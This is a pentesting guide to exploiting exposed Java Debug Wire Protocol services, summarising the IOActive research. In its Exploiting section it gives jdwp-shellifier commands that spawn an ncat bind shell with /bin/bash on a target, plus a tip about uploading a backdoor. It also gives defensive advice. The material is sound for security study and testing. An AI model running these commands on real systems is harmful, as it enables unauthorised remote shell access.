Pentesting JDWP - Java Debug Wire Protocol

Exploiting

JDWP provides debugger-level control and the wire protocol itself has no authentication or encryption. A listening dt_socket transport may be bound to any configured address and port; 8000 is only a common convention. The debugger sends the 14-byte ASCII string JDWP-Handshake, and a JDWP peer replies with the same string.^[3][4]

Locally, inspect Java command lines for -agentlib:jdwp, legacy -Xrunjdwp, or jdwp rather than the typo jdwk. Binding only to loopback or using an SSH tunnel reduces exposure but does not add protocol authentication.

jdwp-shellifier is a common exploitation client. The maintained Hugsy fork retains the original IOActive technique and command-line interface:^[2][9]

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' makes the exploit more stable. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.^[1]

1. JDWP Overview:

   • It is a packet-based binary protocol; most commands use a synchronous request/reply model, while events are asynchronous.^[3][4]
   • Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.

2. JDWP Handshake:

   • A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).

3. JDWP Communication:

   • Messages have fields such as length, ID, flags, and command set.^[4]
   • CommandSet values range from 0x40 to 0x80, representing different actions and events.

4. Exploitation:

   • Debugger commands can inspect classes, set breakpoints, create values, and invoke methods; exploit tools compose these primitives into command execution.^[5]
   • The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.

5. Real-Life Exploitation:

   • Exposed services and unsafe launch configurations can be found through asset search and code/configuration review.^[7][8]
   • The original exploit was tested across several historical JDK versions and operating systems, but command execution still requires a suitable loaded class, breakpoint/event, permissions, and target runtime behavior.^[6]

6. Security Implications:

   • The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.

References

• [1] Hacking the Java Debug Wire Protocol – or – “How I met your Java debugger”
• [2] IOActive/jdwp-shellifier GitHub repository
• [3] Oracle — Java Platform Debugger Architecture
• [4] Oracle — Java Debug Wire Protocol specification
• [5] Nmap — jdwp-exec NSE script
• [6] Packet Storm — JDWP exploitation paper and PoC
• [7] Shodan search — JDWP-Handshake
• [8] GitHub code search — JDWP launch options
• [9] hugsy/jdwp-shellifier